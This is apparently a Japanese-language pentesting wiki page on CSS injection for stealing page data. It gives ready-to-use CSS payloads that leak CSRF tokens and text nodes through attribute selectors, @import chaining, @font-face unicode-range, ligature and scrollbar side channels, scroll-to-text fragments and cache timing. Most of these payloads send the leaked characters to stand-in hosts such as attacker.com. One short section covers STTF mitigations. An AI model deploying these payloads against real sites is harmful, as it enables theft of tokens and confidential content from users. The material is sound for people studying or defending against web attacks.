CSS Injection
Attribute Selector
CSSセレクタは、input
要素のname
およびvalue
属性の値に一致するように作成されています。入力要素のvalue属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:
Copy input [ name = csrf ][ value ^= a ]{
background-image : url (https://attacker.com/exfil/a) ;
}
input [ name = csrf ][ value ^= b ]{
background-image : url (https://attacker.com/exfil/b) ;
}
/* ... */
input [ name = csrf ][ value ^= 9 ]{
background-image : url (https://attacker.com/exfil/9) ;
}
しかし、このアプローチは、隠し入力要素(type="hidden"
)を扱う際に制限に直面します。隠し要素は背景を読み込まないためです。
隠し要素のバイパス
この制限を回避するために、~
一般的な兄弟コンビネータを使用して、次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれるようになります。
Copy input [ name = csrf ][ value ^= csrF ] ~ * {
background-image : url (https://attacker.com/exfil/csrF) ;
}
実際にこの技術を悪用する例は、提供されたコードスニペットに詳述されています。こちらで確認できます here 。
CSSインジェクションの前提条件
CSSインジェクション技術が効果的であるためには、特定の条件を満たす必要があります:
ペイロードの長さ : CSSインジェクションベクターは、作成されたセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。
CSSの再評価 : ページをフレーム化する能力が必要であり、これは新しく生成されたペイロードでCSSの再評価をトリガーするために必要です。
外部リソース : この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される場合があります。
ブラインド属性セレクタ
この投稿で説明されているように 、:has
と :not
セレクタを組み合わせて、ブラインド要素からでもコンテンツを特定することが可能です。これは、CSSインジェクションを読み込むウェブページの中身が全く分からない場合に非常に便利です。
また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。
Copy < style >
html :has ( input [ name ^= "m" ]) :not ( input [ name = "mytoken" ]) {
background : url (/m) ;
}
</ style >
< input name = mytoken value = 1337 >
< input name = myname value = gareth >
この技術を次の**@import技術と組み合わせることで、blind pages with blind-css-exfiltration から多くのinfoをCSSインジェクションを使用して外部に抽出することが可能です。
@import
前の技術にはいくつかの欠点がありますので、前提条件を確認してください。複数のリンクを被害者に送信できる必要があるか、CSSインジェクション脆弱ページをiframeできる必要があります。
しかし、**CSS @import
**を使用して技術の質を向上させる別の巧妙な技術があります。
これは最初にPepe Vila によって示され、次のように機能します:
同じページを何度も異なるペイロードで読み込む代わりに(前の技術のように)、ページを一度だけ攻撃者のサーバーへのインポートで読み込むことにします (これが被害者に送信するペイロードです):
Copy @import url ( '//attacker.com:5001/start?' );
インポートは攻撃者からのCSSスクリプトを受け取る ことになります、そしてブラウザはそれを読み込みます 。
攻撃者が送信するCSSスクリプトの最初の部分は再び攻撃者のサーバーへの別の @import
です。
攻撃者のサーバーはこのリクエストにはまだ応答しません。なぜなら、いくつかの文字を漏洩させ、その後このインポートにペイロードを応答して次の文字を漏洩させたいからです。
ペイロードの2番目でより大きな部分は属性セレクタ漏洩ペイロード になります。
これは攻撃者のサーバーに秘密の最初の文字と最後の文字 を送信します。
攻撃者のサーバーが秘密の最初と最後の文字 を受け取ると、ステップ2で要求されたインポートに応答します 。
応答はステップ2、3、4と全く同じ ですが、今回は秘密の2番目の文字と次の最後の文字を見つけようとします 。
攻撃者は秘密を完全に漏洩させるまでそのループを続けます 。
元のPepe Vilaのコードをここで利用することができます または、ほぼ同じコードですがコメント付きのものをここで見つけることができます 。
スクリプトは毎回2文字を発見しようとします(最初からと最後から)なぜなら、属性セレクタは次のようなことを可能にするからです:
Copy /* value^= to match the beggining of the value*/
input [ value ^= "0" ]{--s0 : url (http://localhost:5001/leak?pre=0) }
/* value$= to match the ending of the value*/
input [ value $= "f" ]{--e0 : url (http://localhost:5001/leak?post=f) }
これにより、スクリプトは秘密をより早く漏洩させることができます。
時々、スクリプトは接頭辞 + 接尾辞がすでに完全なフラグであることを正しく検出しない ことがあり、接頭辞の方向に進み、接尾辞の方向に戻り、ある時点でハングします。
心配しないでください、出力 を確認すれば、そこにフラグを見ることができます 。
その他のセレクタ
CSSセレクタ を使用してDOMの部分にアクセスする他の方法:
.class-to-search:nth-child(2)
: これは、DOM内の「class-to-search」クラスを持つ2番目のアイテムを検索します。
:empty
セレクタ: 例えば、この解説 で使用されています :
Copy [ role ^= "img" ][ aria-label = "1" ] :empty { background-image : url ( "YOUR_SERVER_URL?1" ) ; }
エラーに基づくXS-Search
参考: CSSベースの攻撃: @font-faceのunicode-rangeを悪用する 、 @terjanqによるエラーに基づくXS-Search PoC
全体の意図は、制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース( favicon.ico
)が読み込まれない場合にのみ、このフォントでテキスト(この場合は「A」)を表示することを保証する ことです。
Copy <! DOCTYPE html >
< html >
< head >
< style >
@font-face {
font-family : poc ;
src : url (http://attacker.com/?leak) ;
unicode-range : U+0041 ;
}
#poc0 {
font-family : 'poc' ;
}
</ style >
</ head >
< body >
< object id = "poc0" data = "http://192.168.0.1/favicon.ico" >A</ object >
</ body >
</ html >
カスタムフォントは、<head>
セクション内の<style>
タグを使用して@font-face
ルールで定義されます。
フォントはpoc
と名付けられ、外部エンドポイント(http://attacker.com/?leak
)から取得されます。
unicode-range
プロパティはU+0041
に設定され、特定のUnicode文字'A'をターゲットにします。
<body>
セクションにid="poc0"
の<object>
要素が作成されます。この要素はhttp://192.168.0.1/favicon.ico
からリソースを読み込もうとします。
この要素のfont-family
は、<style>
セクションで定義された'poc'
に設定されています。
リソース(favicon.ico
)の読み込みに失敗した場合、<object>
タグ内のフォールバックコンテンツ(文字'A')が表示されます。
外部リソースが読み込まれない場合、フォールバックコンテンツ('A')はカスタムフォントpoc
を使用してレンダリングされます。
スクロールテキストフラグメントのスタイリング
:target
擬似クラスは、 CSSセレクターレベル4仕様 で指定されたURLフラグメント によってターゲットにされた要素を選択するために使用されます。::target-text
は、テキストがフラグメントによって明示的にターゲットにされない限り、要素に一致しないことを理解することが重要です。
攻撃者がスクロールテキスト フラグメント機能を悪用することで、HTMLインジェクションを通じて自分のサーバーからリソースを読み込むことにより、ウェブページ上の特定のテキストの存在を確認できるというセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールを注入することを含みます:
Copy :target::before { content : url (target.png) }
このようなシナリオでは、ページに「Administrator」というテキストが存在する場合、リソース target.png
がサーバーからリクエストされ、テキストの存在が示されます。この攻撃の一例は、注入されたCSSをスクロールテキストフラグメントと共に埋め込んだ特別に作成されたURLを通じて実行できます:
Copy http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
ここでは、攻撃がHTMLインジェクションを操作してCSSコードを送信し、特定のテキスト「Administrator」をScroll-to-text fragment(#:~:text=Administrator
)を通じて狙っています。テキストが見つかると、指定されたリソースが読み込まれ、攻撃者にその存在を知られることになります。
緩和策として、以下の点に注意する必要があります:
制約されたSTTFマッチング : Scroll-to-text Fragment(STTF)は、単語や文のみをマッチさせるように設計されており、任意の秘密やトークンを漏洩させる能力を制限しています。
トップレベルのブラウジングコンテキストへの制限 : STTFはトップレベルのブラウジングコンテキストでのみ機能し、iframe内では機能しないため、いかなる悪用の試みもユーザーにとってより目立つものになります。
ユーザーのアクティベーションの必要性 : STTFは動作するためにユーザーのアクティベーションジェスチャーを必要とし、つまり悪用はユーザーが開始したナビゲーションを通じてのみ可能です。この要件は、ユーザーのインタラクションなしに攻撃が自動化されるリスクを大幅に軽減します。それにもかかわらず、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのインタラクション)を指摘しています。
これらのメカニズムと潜在的な脆弱性を認識することは、ウェブセキュリティを維持し、そのような悪用的戦術から守るための鍵です。
詳細については、元のレポートを確認してください: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
この技術を使用したCTFのエクスプロイトはこちら で確認できます。
@font-face / unicode-range
特定のunicode値に対して外部フォントを指定することができ 、そのunicode値がページに存在する場合のみ収集されます 。例えば:
Copy < style >
@font-face {
font-family : poc ;
src : url (http://attacker.example.com/?A) ; /* fetched */
unicode-range : U+0041 ;
}
@font-face {
font-family : poc ;
src : url (http://attacker.example.com/?B) ; /* fetched too */
unicode-range : U+0042 ;
}
@font-face {
font-family : poc ;
src : url (http://attacker.example.com/?C) ; /* not fetched */
unicode-range : U+0043 ;
}
#sensitive-information {
font-family : poc ;
}
</ style >
< p id = "sensitive-information" >AB</ p >htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
テキストノードの抽出 (I): リガチャ
参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
この技術は、フォントリガチャを利用してノードからテキストを抽出し、幅の変化を監視することを含みます。プロセスは以下のいくつかのステップで構成されています:
SVGフォントは、2文字のシーケンスを表すグリフに大きな幅を設定するhoriz-adv-x
属性を持つグリフを使用して作成されます。
例 SVGグリフ: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
、ここで "XY" は2文字のシーケンスを示します。
これらのフォントは、fontforgeを使用してwoff形式に変換されます。
CSSを使用してテキストが折り返さないようにし(white-space: nowrap
)、スクロールバーのスタイルをカスタマイズします。
明確にスタイルされた水平スクロールバーの出現は、特定のリガチャ、したがって特定の文字シーケンスがテキストに存在することを示す指標(オラクル)として機能します。
Copy body { white-space : nowrap };
body ::-webkit-scrollbar { background : blue ; }
body ::-webkit-scrollbar :horizontal { background : url (http://attacker.com/?leak) ; }
ステップ1 : 大きな幅を持つ文字のペア用にフォントが作成されます。
ステップ2 : 大きな幅のグリフ(文字ペアのリガチャ)が描画されるときに検出するために、スクロールバーを利用したトリックが使用されます。
ステップ3 : リガチャを検出すると、検出されたペアを組み込み、前または後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
ステップ4 : 3文字のリガチャの検出が行われます。
ステップ5 : プロセスは繰り返され、テキスト全体が徐々に明らかになります。
<meta refresh=...
を使用した現在の初期化方法は最適ではありません。
より効率的なアプローチは、CSS @import
トリックを使用して、エクスプロイトのパフォーマンスを向上させることができます。
テキストノードの抽出 (II): デフォルトフォントを使用した文字セットの漏洩(外部アセットを必要としない)
参考: PoC using Comic Sans by @Cgvwzq & @Terjanq
このトリックはこのSlackersスレッド で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされているデフォルトフォント を使用して漏洩することができます:外部またはカスタムフォントは必要ありません。
この概念は、アニメーションを利用してdiv
の幅を徐々に拡大し、1文字ずつテキストの「サフィックス」部分から「プレフィックス」部分に移行させることに基づいています。このプロセスは、テキストを2つのセクションに分割します:
文字の遷移段階は次のように表示されます:
C
ADB
CA
DB
CAD
B
CADB
この遷移中に、unicode-rangeトリック が使用されて、プレフィックスに新しい文字が加わるたびにそれを特定します。これは、デフォルトフォントよりも明らかに背が高いComic Sansフォントに切り替えることで達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの出現は、プレフィックスに新しい文字が存在することを間接的に示します。
この方法は、ユニークな文字が現れるときに検出を可能にしますが、どの文字が繰り返されているかを特定することはできず、繰り返しが発生したことだけを示します。
基本的に、unicode-rangeは文字を検出するために使用されます が、外部フォントを読み込むことは望ましくないため、別の方法を見つける必要があります。
文字 が見つかった とき、それは事前にインストールされた Comic Sansフォントが与えられ 、文字が大きくなり 、スクロールバーがトリガーされ 、見つかった文字が漏洩します 。
Check the code extracted from the PoC:
Copy /* comic sans is high (lol) and causes a vertical overflow */
@font-face { font-family : has_A ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+41 ; font-style : monospace ;}
@font-face { font-family : has_B ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+42 ; font-style : monospace ;}
@font-face { font-family : has_C ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+43 ; font-style : monospace ;}
@font-face { font-family : has_D ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+44 ; font-style : monospace ;}
@font-face { font-family : has_E ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+45 ; font-style : monospace ;}
@font-face { font-family : has_F ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+46 ; font-style : monospace ;}
@font-face { font-family : has_G ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+47 ; font-style : monospace ;}
@font-face { font-family : has_H ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+48 ; font-style : monospace ;}
@font-face { font-family : has_I ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+49 ; font-style : monospace ;}
@font-face { font-family : has_J ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4a ; font-style : monospace ;}
@font-face { font-family : has_K ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4b ; font-style : monospace ;}
@font-face { font-family : has_L ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4c ; font-style : monospace ;}
@font-face { font-family : has_M ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4d ; font-style : monospace ;}
@font-face { font-family : has_N ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4e ; font-style : monospace ;}
@font-face { font-family : has_O ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+4f ; font-style : monospace ;}
@font-face { font-family : has_P ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+50 ; font-style : monospace ;}
@font-face { font-family : has_Q ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+51 ; font-style : monospace ;}
@font-face { font-family : has_R ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+52 ; font-style : monospace ;}
@font-face { font-family : has_S ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+53 ; font-style : monospace ;}
@font-face { font-family : has_T ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+54 ; font-style : monospace ;}
@font-face { font-family : has_U ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+55 ; font-style : monospace ;}
@font-face { font-family : has_V ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+56 ; font-style : monospace ;}
@font-face { font-family : has_W ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+57 ; font-style : monospace ;}
@font-face { font-family : has_X ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+58 ; font-style : monospace ;}
@font-face { font-family : has_Y ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+59 ; font-style : monospace ;}
@font-face { font-family : has_Z ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+5a ; font-style : monospace ;}
@font-face { font-family : has_0 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+30 ; font-style : monospace ;}
@font-face { font-family : has_1 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+31 ; font-style : monospace ;}
@font-face { font-family : has_2 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+32 ; font-style : monospace ;}
@font-face { font-family : has_3 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+33 ; font-style : monospace ;}
@font-face { font-family : has_4 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+34 ; font-style : monospace ;}
@font-face { font-family : has_5 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+35 ; font-style : monospace ;}
@font-face { font-family : has_6 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+36 ; font-style : monospace ;}
@font-face { font-family : has_7 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+37 ; font-style : monospace ;}
@font-face { font-family : has_8 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+38 ; font-style : monospace ;}
@font-face { font-family : has_9 ; src : local ( 'Comic Sans MS' ) ; unicode-range : U+39 ; font-style : monospace ;}
@font-face { font-family : rest ; src : local ( 'Courier New' ) ; font-style : monospace ; unicode-range : U+0 - 10FFFF }
div .leak {
overflow-y : auto ; /* leak channel */
overflow-x : hidden ; /* remove false positives */
height : 40 px ; /* comic sans capitals exceed this height */
font-size : 0 px ; /* make suffix invisible */
letter-spacing : 0 px ; /* separation */
word-break : break-all ; /* small width split words in lines */
font-family : rest ; /* default */
background : grey ; /* default */
width : 0 px ; /* initial value */
animation : loop step-end 200 s 0 s , trychar step-end 2 s 0 s ; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count : 1 , infinite ; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div .leak::first-line {
font-size : 30 px ; /* prefix is visible in first line */
text-transform : uppercase ; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family : rest ; } /* delay for width change */
5% { font-family : has_A , rest ; --leak : url (?a) ; }
6% { font-family : rest ; }
10% { font-family : has_B , rest ; --leak : url (?b) ; }
11% { font-family : rest ; }
15% { font-family : has_C , rest ; --leak : url (?c) ; }
16% { font-family : rest }
20% { font-family : has_D , rest ; --leak : url (?d) ; }
21% { font-family : rest ; }
25% { font-family : has_E , rest ; --leak : url (?e) ; }
26% { font-family : rest ; }
30% { font-family : has_F , rest ; --leak : url (?f) ; }
31% { font-family : rest ; }
35% { font-family : has_G , rest ; --leak : url (?g) ; }
36% { font-family : rest ; }
40% { font-family : has_H , rest ; --leak : url (?h) ; }
41% { font-family : rest }
45% { font-family : has_I , rest ; --leak : url (?i) ; }
46% { font-family : rest ; }
50% { font-family : has_J , rest ; --leak : url (?j) ; }
51% { font-family : rest ; }
55% { font-family : has_K , rest ; --leak : url (?k) ; }
56% { font-family : rest ; }
60% { font-family : has_L , rest ; --leak : url (?l) ; }
61% { font-family : rest ; }
65% { font-family : has_M , rest ; --leak : url (?m) ; }
66% { font-family : rest ; }
70% { font-family : has_N , rest ; --leak : url (?n) ; }
71% { font-family : rest ; }
75% { font-family : has_O , rest ; --leak : url (?o) ; }
76% { font-family : rest ; }
80% { font-family : has_P , rest ; --leak : url (?p) ; }
81% { font-family : rest ; }
85% { font-family : has_Q , rest ; --leak : url (?q) ; }
86% { font-family : rest ; }
90% { font-family : has_R , rest ; --leak : url (?r) ; }
91% { font-family : rest ; }
95% { font-family : has_S , rest ; --leak : url (?s) ; }
96% { font-family : rest ; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width : 0 px }
1% { width : 20 px }
2% { width : 40 px }
3% { width : 60 px }
4% { width : 80 px }
4% { width : 100 px }
5% { width : 120 px }
6% { width : 140 px }
7% { width : 0 px }
}
div ::-webkit-scrollbar {
background : blue ;
}
/* side-channel */
div ::-webkit-scrollbar :vertical {
background : blue var (--leak) ;
}
テキストノードの抽出 (III): デフォルトフォントでの文字セットの漏洩(外部アセットを必要としない)
参考: これはこの書き込みでの失敗した解決策として言及されています
このケースは前のケースと非常に似ていますが、今回は特定の文字を他の文字より大きくする目的は、ボットに押されないボタンや読み込まれない画像のような何かを隠すことです 。したがって、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
テキストノードの抽出 (III): キャッシュタイミングによる文字セットの漏洩(外部アセットを必要としない)
参考: これはこの書き込みでの失敗した解決策として言及されています
このケースでは、同じオリジンから偽のフォントを読み込むことで、テキストに文字が含まれているかどうかを漏洩させることを試みることができます:
Copy @font-face {
font-family : "A1" ;
src : url (/static/bootstrap.min.css?q=1) ;
unicode-range : U+0041 ;
}
もし一致があれば、フォントは /static/bootstrap.min.css?q=1
から読み込まれます 。成功裏に読み込まれることはありませんが、ブラウザはそれをキャッシュするはずです 。キャッシュがなくても、304 not modified メカニズムがあるため、レスポンスは他のものよりも速くなるはずです 。
しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でない場合、これは役に立ちません。例えば、著者は次のように述べています:しかし、テストの結果、最初の問題は速度があまり変わらないことであり、二つ目の問題はボットが disk-cache-size=1
フラグを使用していることで、これは本当に考慮されています。
テキストノードの流出 (III): 数百のローカル「フォント」から文字セットをタイミングで流出させる(外部アセットを必要としない)
参考: これは この書き込みの中での失敗した解決策として言及されています
この場合、一致が発生したときに同じオリジンから数百の偽フォントを読み込むようにCSSを指定できます 。この方法で、かかる時間を測定 し、文字が現れるかどうかを次のようなもので確認できます:
Copy @font-face {
font-family : "A1" ;
src : url (/static/bootstrap.min.css?q=1) ,
url (/static/bootstrap.min.css?q=2) ,
....
url (/static/bootstrap.min.css?q=500) ;
unicode-range : U+0041 ;
}
そして、ボットのコードは次のようになります:
Copy browser . get (url)
WebDriverWait (browser, 30 ). until ( lambda r : r. execute_script ( 'return document.readyState' ) == 'complete' )
time . sleep ( 30 )
そうであれば、フォントが一致しない場合、ボットを訪問した際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合、フォントを取得するために複数のリクエストが送信され、ネットワークに継続的なアクティビティが発生します。その結果、停止条件を満たして応答を受け取るまでに時間がかかります。したがって、応答時間はフォントの一致を判断する指標として使用できます。
参考文献